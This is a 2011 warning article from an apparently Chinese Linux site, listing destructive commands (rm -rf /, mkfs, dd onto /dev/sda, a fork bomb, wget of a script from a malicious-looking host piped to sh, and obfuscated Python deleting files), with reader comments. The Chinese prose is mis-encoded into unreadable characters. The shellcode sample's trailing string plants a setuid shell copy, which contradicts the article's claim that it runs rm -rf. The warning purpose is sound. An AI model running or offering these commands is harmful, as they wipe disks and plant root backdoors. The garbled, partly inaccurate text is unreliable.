ºìÁªLinuxÃÅ»§
Linux°ïÖú

ǧÍòǧÍò²»ÒªÔËÐеÄLinuxÃüÁ

·¢²¼Ê±¼ä:2011-09-25 23:01:10À´Ô´:ºìÁª×÷Õß:ÉÐéª
ǧÍòǧÍò²»ÒªÔËÐеÄLinuxÃüÁ
ÎÄÖÐÁгöµÄÃüÁî¾ø¶Ô²»¿ÉÒÔÔËÐУ¬¼´Ê¹Äã¾õµÃºÜºÃÆæÒ²²»ÐУ¬³ý·ÇÄãÊÇÔÚÐéÄâ»úÉÏÔËÐУ¨³öÏÖÎÊÌâÄã¿ÉÒÔ»¹Ô­£©£¬ÒòΪËüÃÇ»áʵʵÔÚÔÚµÄÆÆ»µÄãµÄϵͳ¡£ËùÒÔ²»ÔÚrootµÈ¸ß¼¶¹ÜÀíȨÏÞÏÂÖ´ÐÐÃüÁîÊǺܺõÄÏ°¹ß¡£



ÔçÍíÓÐÒ»Ì죬Linux ϵͳ»áÏñ Windows ÄÇÑùÁ÷ÐУ¬ÓõÄÈËÔ½À´Ô½¶à£¬°üÀ¨¶Ô¼ÆËã»ú²»ÊǺÜÁ˽âµÄÈË£¬±¾ÎĵÄÄ¿µÄ¾ÍÊǸæËß´ó¼Ò£ºÔÚ Linux ¸øÄã×î´ó³Ì¶È×ÔÓɶȵÄͬʱ£¬Ò²Ê¹µÃÆÆ»µÏµÍ³±äµÃ¸ü¼ÓÈÝÒ×£¬Èç¹ûÄã²»Á˽âijЩÃüÁîµÄÒâÒ壬ÏÂÔØÖ´Ðаüº¬¶ñÒâÃüÁîµÄ½Å±¾£¬»òÕß±»Æ­ÔËÐÐijЩÃüÁºÜÈÝÒ×ÈÃÄã¿Þ¶¼À´²»¼°¡£
Õâ²¢²»ÊÇ˵Ã÷ Linux ²»°²È«£¬Ö»ÊÇ˵Ã÷ÔÚ²»Á˽â Linux £¬ºÍºÜ²»Ð¡ÐĵÄÈËÃæÇ°£¬Linux Ê®·Ö²»°²È«¡£Windows Ò²ºÃ£¬Linux Ò²ºÃ£¬È˱¾Éí²ÅÊÇ×î´óµÄ²»°²È«ÒòËØ¡£
ÏÂÃæµÄÃüÁî»áɾ³ýÄãÓ²ÅÌÉϵÄÎļþ£¬rm µÄ -r µÝ¹éɾ³ý£¬ºÍ -f Ç¿ÖÆɾ³ýÊǺÜΣÏÕµÄÑ¡Ï¼´Ê¹ÈÕ³£²Ù×÷£¬Ò²»áÓöµ½ÎóɾÎļþµÄÇé¿ö¡£
1 sudo rm -rf / ɾ³ý¸ù·ÖÇøÈ«²¿µÄÎļþ
2 sudo rm -rf . ɾ³ýµ±Ç°Ä¿Â¼ÏµÄËùÓÐÎļþ
3 sudo rm -rf * ͬÉÏ
4 rm -rf * or rm -rf *.* ͬÉÏ
5 rm -rf ~ / & ɾ³ý¸ù·ÖÇøºÍ¼ÒĿ¼£¬¼´Ê¹Äã²»ÊÇroot£¬¼ÒĿ¼»¹ÊDz»ÄÜÐÒÃâ¡£
ͬÑù£¬Èç¹ûÄã²»ÖªµÀ mkfs.xxxx (xxxx ¿ÉÒÔÊÇ vfat¡¢ext2¡¢ext3¡¢bfs¡­¡­) ÊǸñʽ»¯ÃüÁîµÄ»°£¬ÔËÐÐÏÂÃæµÄÃüÁî»á²Á³ýÄãµÄÓ²ÅÌ·ÖÇø£º
1 sudo mkfs.xxxx
dd ÊÇÇ¿´óµÄ IO ÊäÈëÊä³ö¶¨Ïò¹¤¾ß£¬Èç¹ûʹÓò»µ±£¬ÆÆ»µÐԺܴ󣬲»½ö½öÊǵ±Ç°·ÖÇø£¬µ±Ç°ÏµÍ³£¬ÓеÄʱºòÊÇÕû¸öÓ²ÅÌ¡£
1 sudo dd if=/dev/zero of=/dev/sda È«²¿Ó²ÅÌÇåÁã¡£
2 sudo dd if=/dev/sda of=/dev/sdb ÓõÚÒ»¿éÓ²Å̵ÄÄÚÈݸ²¸ÇµÚ¶þ¿éµÄÄÚÈÝ¡£
3 sudo dd if=something of=/dev/sda ÍùÓ²ÅÌÉÏдÀ¬»øÊý¾Ý¡£
ͬÀí£¬Ö±½Ó°ÑÃüÁî½á¹û¶¨Ïòµ½Ó²ÅÌÉÏ£¬Ï൱ÓÚÍùÓ²ÅÌÉÏдÀ¬»øÊý¾Ý£º
1 any_command > /dev/sda ÓÃËæÒâµÄÊý¾ÝÆÆ»µÓ²ÅÌ
ÉÏÃæµÄ sda ¡¢sdb Ò²¿ÉÄÜÊÇÆäËûÀàËƵÄÃû³Æ¡£Linux µÄ /dev ϵͳ¸ø²Ù×ÝÓ²¼þÌṩÁ˺ܷ½±ãºÍÇ¿´óµÄ¹¦ÄÜ£¬Í¬Ê±Ò²Ê¹µÃÆÆ»µ±äµÃ¸üÈÝÒס£
fork ÃüÁî´ò¿ªÒ»¸ö×Ó½ø³Ì£¬Èç¹û°Ñ fork ·ÅÔÚÎÞÏÞÑ­»·ÖУ¬×îÖÕ×Ó½ø³Ì»áºÄ¾¡ËùÓÐÄÚ´æ×ÊÔ´£º
1 :(){:|:&};:
Õâ¶Î²»ÖªËùÔƵķûºÅ£¬¿ÉÒÔÈà Shell ²»Í£µÄ fork ×Ó½ø³Ì£¬×îºóµ¼ÖÂÄÚ´æºÄ¾¡£¬²»µÃ²»ÖØÆô£¬Õâ²»ÊÇ bug£¬Ö»ÊÇ Shell Óï¾ä¹ÊÒâд³É¼òдµÄÐÎʽ¶øÒÑ¡£ÏÂÃæµÄͬÀí£º
1 fork while fork
ÓеÄʱºò£¬Ñ¹Ëõ°üÒ²ÊÇÒ»¸öÆÆ»µÀ´Ô´¡«
ÓеÄѹËõ°üÒªÇóÄã½âѹµ½Ä³¸öϵͳÖÐÒѾ­´æÔÚµÄĿ¼ÖУ¬ÕâʱºòÄã¾ÍÒªÌرðСÐÄÁË£¬Ñ¹Ëõ°üÀïÃæ¿ÉÄÜÓгÉǧÉÏÍòµÄСÎļþ£¬ÒÔ¸÷ÖÖÎļþÃû³¢ÊÔ¸²¸ÇÄãÏÖÓеÄÎļþ¡£
ÓеÄѹËõ°ü¿´ÆðÀ´ºÜС£¬µ«Êǽâѹ³öÀ´ÊÇÉÏ GB µÄÀ¬»øÊý¾Ý£¬»á³ä³âÄãµÄÓ²ÅÌ¡£
´Ó²»Õý¹æÍøÕ¾ÏÂÔصijÌÐò¡¢½Å±¾£¬Í¬Ñù»áÓаüº¬¶ñÒâÃüÁîµÄΣÏÕ£¬²»¿ÉËæ±ãÖ´ÐУº
1 wget http://some_place/some_file
2 sh ./some_file
3 wget http://hax018r.org/malicious-script
4 sh ./malicious-script
Ôؽű¾ÒªÈ·±£À´Ô´Õý¹æ£¬Èç¹ûÓÐÄÜÁ¦£¬¿ÉÒÔÔĶÁÆä´úÂë¡£
¼´Ê¹ÓÐÔ´´úÂëµÄ³ÌÐò£¬Ò²²»ÒªËæ±ã±àÒëÖ´ÐУº
01 char esp[] __attribute__ ((section(".text"))) /* e.s.p
02 release */
03 = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
04 "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
05 "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
06 "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
07 "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
08 "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
09 "x6ex2fx73x68x00x2dx63x00"
10 "cp -p /bin/sh /tmp/.beyond; chmod 4755
11 /tmp/.beyond;";
ÉÏÃæ¿´ÆðÀ´Ö»ÊÇÒ»¶ÑûÓÐÒâÒåµÄ 16 ½øÖÆÊý¾Ý£¬Èç¹ûÓÐÈ˸æËßÄ㣬ÔËÐÐÕâ¸ö³ÌÐòÄã¾Í¿ÉÒÔ²»ÊäÈëÃÜÂëÈ¡µÃϵͳµÄ root ȨÏÞ£¬Äã¿É²»ÒªÏàÐÅËû£¬ÉÏÃæµÄ³ÌÐòʵ¼ÊÔËÐеÄÊÇ¡°rm -rf ~ / & ¡±¡£
python Ò»ÀàµÄ½Å±¾ÓïÑÔ£¬Í¬Ñù¿ÉÒÔÄÃÀ´¸ãÆÆ»µ£º
1 python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'
Õâ¶Î³ÌÐòʵ¼ÊÉÏ»áÖ´ÐÐ rm -rf *£¬Ò²ÐíÄãºÜÆæ¹ÖÉÏÃæ³ÌÐò½áβµÄ ¡°sn!.sg! ¡± ÊÇʲôÒâ˼£¬Êµ¼ÊÉϾÍÊÇ rm -rf * ÿ¸ö×ÖĸµÄÏÂÒ»¸ö£¡
ÄÇôÎÒÃÇÈçºÎ±ÜÃâÔËÐжñÒâ³ÌÐòÄØ£¿
µÚÒ»²»ÒªÓà root ×÷ΪÈÕ³£Ê¹ÓõÄÓû§£¬ÉÏÃæµÄ³ÌÐò£¬Èç¹ûµ±Ç°Óû§²»ÊÇ root£¬Î£º¦µÄ²¨¼°·¶Î§¾Í»áСºÜ¶à¡£
µÚ¶þÒªÖªµÀÄÄЩÃüÁîÊǸÉʲôÓõģ¬²»ÖªµÀµÄÃüÁҪðȻÔËÐС£ÔËÐÐÓÐDZÔÚÆÆ»µÄÜÁ¦µÄ³ÌÐò£¬ÒªÐ¡Ðļì²é×Ô¼ºµÄÊäÈë¡£
µÚÈýÒª±£Ö¤Èí¼þ¡¢½Å±¾µÄÀ´Ô´Õý¹æ¡£
×îºóÒ»µã£¬ËäÈ»±È½ÏÏû¼«£¬µ«ÊÇȷʵʮ·ÖÖØÒªµÄÒ»Ò»µã£º
¾­³£±¸·ÝÄãµÄÊý¾Ý£¡£¡
ÎÄÕÂÆÀÂÛ

¹²ÓÐ 14 ÌõÆÀÂÛ

  1. ±±É½²è ÓÚ 2011-11-12 15:02:59·¢±í:

    ѧϰѧϰ

  2. wangzf137 ÓÚ 2011-10-26 09:19:42·¢±í:

    ί¿Ö²Àѽ£¡£¡£¡ÒÔºó¿ÉҪСÐÄÁË£¡

  3. µ­Ë®ÎÞºÛ ÓÚ 2011-10-25 22:50:50·¢±í:

    -rµÝ¹éÃüÁîºÜÇ¿´ó£¬ÎÒÒѾ­Áì½Ì¹ý£¬Ï´ζ¼²»¸ÒËæ±ãÓÃrootÕ˺ÅÈ¥Ö´ÐÐÄÇÖÖÃüÁîÁË

  4. cxlll1234 ÓÚ 2011-10-25 20:16:30·¢±í:

    Ã÷Ã÷ÖªµÀRMÊǸÉʲôµÄ£¬»¹ÂÒÅü²Ä£¬ÍϳöÈ¥´ò

  5. botasky ÓÚ 2011-10-25 19:37:42·¢±í:

    ×÷Ϊһ¸öÐÂÈË ²»Å»µ

  6. xuaibing ÓÚ 2011-10-25 19:03:31·¢±í:

    ѧϰ

  7. pjl ÓÚ 2011-10-25 16:10:30·¢±í:

    ¾­³£±¸·ÝÄãµÄÊý¾Ý£¡£¡

  8. lanlanlangzi ÓÚ 2011-10-19 14:03:42·¢±í:

    ÔÎÕâÑù×Ó¶¼ÓÐ{:2_91:}

  9. lhf552004 ÓÚ 2011-10-09 22:19:52·¢±í:

    ÔΣ¬»¹ÊDz»ÖªµÀµÄºÃ£¬²»ÖªµÀ ÄÄÌìÎҵĺÃÆæÐÄ·¢×÷ ¾ÍÍêÁË

  10. njp1949 ÓÚ 2011-10-09 15:00:08·¢±í:

    ¿ÉÒÔÖØ×°

  11. gleerat ÓÚ 2011-09-26 17:30:38·¢±í:

    ɾ³ýÈÎÒâÎļþµÄÃüÁîûÓÐÓùý¡£
    ²»¹ý£¬Ã²ËÆÓÐÈË˵£¬ÕâЩÃüÁî±»±£»¤ÁË£¬²»ÄÜ´ïµ½ÄÇÑù¿ÉŵÄЧ¹û¡£
    ½¨ÒéÄãÃÇÖеÄijһ¸öÓÃÐéÄâ»úÊÔÊÔ¡£

  12. kuerck ÓÚ 2011-09-26 14:34:44·¢±í:

    Õâ¸öͦºÃµÄ¡£ÄÄÌìÓõÄÉÏ

  13. fengyydemama ÓÚ 2011-09-26 13:10:51·¢±í:

    »µÁ˾ÍÖØ×°£¡ºÇºÇÅÂʲô°¡

  14. xvnera ÓÚ 2011-09-26 11:00:09·¢±í:

    ³ýÁ˵ÚÒ»¸öÆäËüµÄÂÒÇÃÒ²Çò»µ½¹þ